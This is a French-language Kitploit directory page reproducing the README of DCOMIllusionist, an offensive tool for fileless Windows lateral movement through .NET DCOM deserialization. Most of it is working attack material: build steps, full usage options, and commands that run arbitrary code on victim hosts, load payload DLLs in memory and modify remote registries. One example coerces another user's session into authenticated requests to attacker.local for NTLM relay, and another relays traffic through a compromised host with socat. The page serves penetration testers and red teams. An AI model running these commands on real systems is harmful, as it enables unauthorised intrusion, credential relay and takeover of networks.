Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/synacktiv/dcomillusionist
Escalade de PrivilègesExploitationMouvement LatéralPost-ExploitationTests d'IntrusionCommandement et ContrôleAuthentificationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubsynacktiv/dcomillusionist
28333il y a 2 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

DCOMIllusionist

DCOM en mémoire et techniques de mouvement latéral sans fichier via la désérialisation .Net

Voir le dépôt
🎩✨🪄

DCOMIllusionist

Technique de mouvement latéral Windows sans fichier (fileless).

Introduction  •  Compilation  •  Utilisation  •  Détails techniques  •  Remerciements


Introduction

Cet outil permet d'exécuter du code à distance sur une machine Windows, à condition de disposer de privilèges administratifs. Il exploite DCOM et le comportement des serveurs DCOM .NET, qui désérialisent automatiquement les objets entrants. Cela permet d'exécuter des commandes arbitraires ou de charger des DLL sans rien écrire sur le disque.

Découverte à l'origine par James Forshaw comme technique d'élévation de privilèges, cette méthode a été adaptée pour le mouvement latéral en modifiant à distance des clés de registre spécifiques. Elle prend également en charge l'exploitation inter-sessions via DCOM, permettant d'exécuter des commandes arbitraires dans la session d'un autre utilisateur, sous le contexte de sécurité de cette session.

Elle fonctionne sur les postes de travail et les serveurs, mais un accès réseau entre la machine cible et une machine contrôlée par l'attaquant est requis pour que cette technique fonctionne.

Plus de détails dans cette section.

Compilation

Une release est disponible, ou vous pouvez la compiler manuellement :

root@kitploit:~
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Utilisation

root@kitploit:~
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
Un accès administratif est requis à la fois sur la machine de l'attaquant (via un shell élevé) et sur la machine cible pour utiliser cet outil avec succès.

root@kitploit:~
Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

Comme expliqué précédemment, une session peut être spécifiée pour exécuter une commande arbitraire dans la session d'un autre utilisateur.

[!WARNING] Cela ne fonctionne qu'avec les AppID configurés pour s'exécuter sous l'identité de l'utilisateur interactif. Ceci est géré automatiquement, il n'est pas nécessaire de spécifier l'argument --appid, car l'outil utilisera par défaut l'AppID associé aux User Account Control Settings.

[!IMPORTANT] Ne fonctionne que si la machine de l'attaquant est jointe à un domaine, plus de détails ici.

--list-sessions

Liste les sessions interactives et actives à distance sur la cible à l'aide de WTSEnumerateSessions.

--listen

Si la machine cible ne peut pas joindre directement la machine de l'attaquant, l'exploit échouera. Il est toutefois possible de spécifier une machine intermédiaire à laquelle la cible peut se connecter. À l'aide d'outils comme socat, le trafic peut ensuite être relayé de cet intermédiaire vers la machine de l'attaquant.

listen

  • Sur la machine compromise :
root@kitploit:~
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • Sur la machine de l'attaquant :
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

Lorsque l'exploit est exécuté depuis un shell runas /netonly, l'identité associée ne peut pas être récupérée automatiquement. Il est donc nécessaire de la fournir explicitement à l'aide de l'option --attacker-sid pour que l'attaque réussisse.

--exec

--exec peut être utilisé avec --exec-args pour exécuter des binaires arbitraires sur la cible :

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec n'est qu'un wrapper autour de cela, le même résultat peut être obtenu avec : --ps-exec calc

--curl

Curl peut s'avérer utile dans les scénarios d'exploitation inter-sessions. Si vous disposez de privilèges administratifs sur une machine et que, par exemple, un administrateur de domaine est actif dans la session 3, il est possible d'initier une requête HTTP authentifiée, uniquement via .NET, au nom de cet utilisateur. En dirigeant cette requête vers une machine contrôlée par l'attaquant exécutant ntlmrelayx.py, des attaques de relais NTLM classiques peuvent être menées pour compromettre l'utilisateur.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

Il est possible de charger une DLL arbitraire entièrement en mémoire, sans toucher au disque. Par exemple :

root@kitploit:~
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

Par défaut, la méthode statique Run (sans paramètres) de la classe spécifiée est exécutée. Ce comportement peut être personnalisé à l'aide du paramètre --dll-method.

--yso-b64

Pour une génération avancée de gadgets, Ysoserial.net peut être utilisé. Le payload encodé en Base64 qui en résulte peut être fourni directement ; il sera encapsulé dans une instance RolePrincipal puis désérialisé sur la machine cible.

[!WARNING] Ne fonctionne qu'avec BinaryFormatter

--test-network

Exécute les mêmes opérations que l'exploit classique, mais n'envoie qu'un payload factice pour confirmer que la cible peut se connecter à la machine de l'attaquant.

--hku

Tout peut être exploité depuis un utilisateur à faibles privilèges en utilisant HKEY_USERS au lieu de la clé de registre racine HKLM. Cela peut être utilisé si un utilisateur est membre du groupe Performance Log Users ou Distributed COM Users. Dans ce cas, le --attacker-sid doit être fourni pour accéder au chemin de registre correct. Un CLSID accessible en écriture doit également être fourni (voir --fake-clsid) :

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

--fake-clsid

Crée un faux CLSID et un faux AppId. Des permissions sont définies sur l'AppId afin que l'utilisateur courant ou le --attacker-sid puisse ensuite lancer et activer le serveur DCOM. C'est utile lors d'une exploitation depuis un utilisateur à faibles privilèges sur HKU.

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe  --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

Détails techniques

Lorsqu'un serveur DCOM écrit en .NET reçoit un objet, il interroge l'interface DCOM IManagedObject. Si l'interface est présente, le serveur appelle la méthode GetSerializedBuffer. Le client répond avec une version sérialisée de l'objet, que le serveur désérialise ensuite, ce qui aboutit à une exécution de code arbitraire. Pour que cela réussisse, la machine victime doit avoir un accès réseau direct à la machine de l'attaquant (voir --listen).

Détails techniques

En forgeant des OBJREF DCOM arbitraires, il est possible de rediriger la machine cible vers n'importe quel système distant. Par exemple, socat peut être utilisé pour transférer le trafic sur le port 135 (et un autre port arbitraire) vers la machine réellement contrôlée par l'attaquant. Dans sa preuve de concept, qui devint plus tard le fondement des exploits « Potato », James Forshaw a utilisé le GUID du PointerMoniker pour marshaler des objets arbitraires dans des OBJREF. Cette approche déclenchait bien l'authentification mais échouait lors des étapes suivantes. En utilisant à la place le GUID du marshaller standard, il devient possible de créer et d'envoyer des OBJREF arbitraires entièrement fonctionnels.

Cependant, aucun serveur DCOM .NET n'est exposé par défaut sur les versions de Windows Server testées. Pour permettre l'interaction à distance, le registre Windows peut être modifié à distance afin d'associer un AppID personnalisé à un CLSID .NET, le rendant accessible via DCOM. En choisissant soigneusement l'AppID, il est également possible d'activer l'exploitation inter-sessions, via le moniker de session, si une session interactive est présente sur la machine cible. Cela a été découvert et détaillé à nouveau par James Forshaw ici et ici.

Pour que l'exploit réussisse, le serveur cible doit récupérer les données de l'objet sérialisé (le gadget) depuis la machine contrôlée par l'attaquant. Cela nécessite que le serveur s'authentifie auprès de la machine de l'attaquant.

Si l'AppID n'est pas configuré pour s'exécuter sous l'identité de l'utilisateur interactif, la tentative d'authentification proviendra de Anonymous (anonyme). Pour le permettre, la machine de l'attaquant doit être configurée pour accepter l'authentification DCOM anonyme en modifiant ses permissions d'accès DCOM par défaut.

Lorsque l'AppID est associé à l'utilisateur interactif, l'authentification est effectuée avec l'identité de l'utilisateur de la session spécifiée (via --session) ou, par défaut, de la session 0. Dans ce cas, la machine de l'attaquant doit être jointe à un domaine pour accepter l'authentification de l'utilisateur. C'est pourquoi le groupe Everyone est temporairement ajouté aux permissions d'accès DCOM par défaut afin de permettre une authentification réussie.

Il est important de noter que seules les permissions d'accès par défaut sont modifiées ; les permissions de lancement et d'activation restent inchangées. Toutes les modifications sont annulées une fois l'opération terminée. Si quelque chose tourne mal, une sauvegarde des paramètres d'origine est créée et peut être restaurée.

[!CAUTION] La machine de l'attaquant est temporairement laissée dans un état plus permissif pendant l'exploit, mais toutes les modifications sont annulées ensuite.

Remerciements

  • @tiraniddo pour ses recherches originales, ces recherches et pour oleviewdotnet ; une grande partie de son code a été réutilisée dans des outils offensifs C# publics, y compris celui-ci.
  • @nt0x4 pour son travail sur le gadget TextFormattingRunProperties ; il a montré comment charger une DLL arbitraire en mémoire. Cela a été réutilisé pour les attaques --curl et --file-write.
  • @cube0x0 pour KrbRelay
  • @pwntester pour Ysoserial.net
  • Dylan Tran et Jimmy Bayne d'IBM X-Force Red ; une partie de l'inspiration vient de ForsHops.
Télécharger l’outil